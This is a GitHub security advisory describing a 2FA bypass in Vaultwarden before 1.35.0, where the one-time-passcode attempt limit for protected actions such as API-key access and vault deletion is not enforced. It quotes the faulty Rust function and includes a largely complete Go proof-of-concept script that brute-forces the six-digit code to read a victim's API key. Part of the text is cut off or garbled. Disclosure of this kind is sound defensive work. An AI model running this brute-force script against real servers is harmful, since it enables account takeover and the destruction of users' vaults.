GitHub Advisoryadvisory · crates.io

GHSA-v6pg-v89r-w8wr Vaultwarden has 2FA Bypass on Protected Actions due to Faulty Rate Limit Enforcement

MEDIUM Published 2026-03-04 Modified 2026-03-05 Official page ↗
Aliases
CVE-2026-27801
Ecosystem
crates.io
Packages
vaultwarden
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N
Weaknesses
CWE-307
Reviewed
2026-03-04

Affected packages

• crates.io vaultwarden: < 1.35.0 → fixed in 1.35.0

Description

Summary Vaultwarden v1.34.3 and prior are susceptible to a 2FA bypass when performing protected actions. An attacker who gains authenticated access to a user&rsquo;s account can exploit this bypass to perform protected actions such as accessing the user's API key or deleting the user's vault and organisations the user is an admin/owner of. Note that Details Within Vaultwarden, the `PasswordOrOtpData` struct is used to gate certain protected actions such as account deletion behind a 2FA validation. This validation requires the user to either re-enter their master password, or to enter a one-time passcode sent to their email address. By default, the one-time passcode is comprised of six digits, and the expiry time for each token is ten minutes. The validation of this one-time passcode is performed by the following function: ```rust pub async fn validate_protected_action_otp( otp: &str, user_id: &UserId, delete_if_valid: bool, conn: &mut DbConn, ) -> EmptyResult { let pa = TwoFactor::find_by_user_and_type(user_id, TwoFactorType::ProtectedActions as i32, conn) .await .map_res("Protected action token not found, try sending the code again or restart the process")?; let mut pa_data = ProtectedActionData::from_json(&pa.data)?; pa_data.add_attempt(); // Delete the token after x attempts if it has been used too many times // We use the 6, which should be more then enough for invalid attempts and multiple valid checks if pa_data.attempts > 6 { pa.delete(conn).await?; err!("Token has expired") } // Check if the token has expired (Using the email 2fa expiration time) let date = DateTime::from_timestamp(pa_data.token_sent, 0).expect("Protected Action token timestamp invalid.").naive_utc(); let max_time = CONFIG.email_expiration_time() as i64; if date + TimeDelta::try_seconds(max_time).unwrap() Proof of Concept The easiest method of demonstrating this vulnerability is by making an (authenticated) request to the `/api/accounts/request-otp` endpoint to generate an OTP, and then repeatedly sending invalid guesses to `/api/accounts/verify-otp`. After six guesses, Vaultwarden will still reply `"Token is invalid"` in response to an incorrect guess, rather than `"Token has expired"` as expected when the rate limit is exceeded. Upon entering the correct OTP, the code will still validate despite more than six guesses being made. For a more practical example, the following Go script will brute force the OTP in order to read the user&rsquo;s API key. ```go package main import ( "bytes" "context" "crypto/tls" "encoding/json" "fmt" "io" "log" "net/http" "sync" "sync/atomic" "time" ) const ( host = "https://10.10.0.1:8000" jwtToken = "..." concurrency = 100 totalOtps = 1000000 ) type Brute struct { client *http.Client } func NewBrute() *Brute { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } return &Brute{ client: &http.Client{Transport: tr}, } } func (v *Brute) RequestOTP() error { req, err := http.NewRequest("POST", host+"/api/accounts/request-otp", nil) if err != nil { return fmt.Errorf("failed to create OTP request: %w", err) } req.Header.Set("Authorization", "Bearer "+jwtToken) resp, err := v.client.Do(req) if err != nil { return fmt.Errorf("failed to send OTP request: %w", err) } defer resp.Body.Close() if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusBadRequest { return fmt.Errorf("unexpected status code for OTP request: %d", resp.StatusCode) } fmt.Println("Requested OTP successfully") return nil } func (v *Brute) GetAPIKey(ctx context.Context, otp string) (bool, error) { payload, _ := json.Marshal(map[string]string{"otp": otp}) body := bytes.NewBuffer(payload) req, err := http.NewRequestWithContext(ctx, "POST", host+"/api/accounts/api-key", body) if err != nil { return false, fmt.Errorf("failed to create verification request: %w", err) } req.Header.Set("Authorization", "Bearer "+jwtToken) req.Header.Set("Content-Type", "application/json") resp, err := v.client.Do(req) if err != nil { return false, err } defer resp.Body.Close() switch resp.StatusCode { case http.StatusOK: body, err := io.ReadAll(resp.Body) if err == nil { fmt.Println("\n-----\n" + string(body) + "\n-----\n") } return true, nil case http.StatusBadRequest: return false, nil default: return false, fmt.Errorf("unexpected status code for verification: %d", resp.StatusCode) } } func progressTracker(ctx context.Context, counter *uint64, start time.Time) { ticker := time.NewTicker(300 * time.Millisecond) defer ticker.Stop() for { select { case 0 { rps = float64(done) / elapsed } fmt.Printf("\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs\n", done, totalOtps, float64(done)/float64(totalOtps)*100, rps, elapsed) return case 0 { rps = float64(done) / elapsed } fmt.Printf("\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs", done, totalOtps, float64(done)/float64(totalOtps)*100, rps, elapsed) } } } func main() { brute := NewBrute() if err := brute.RequestOTP(); err != nil { log.Fatalf("Error: %v", err) } ctx, cancel := context.WithCancel(context.Background()) defer cancel() var wg sync.WaitG…

Related

Alias · CVE (1)

  • CVE-2026-27801 Vaultwarden is an unofficial Bitwarden compatible server written in Rust, formerly known as bitwarden_rs. vulnerability

Weakness · CWE (1)

  • CWE-307 Improper Restriction of Excessive Authentication Attempts weakness

References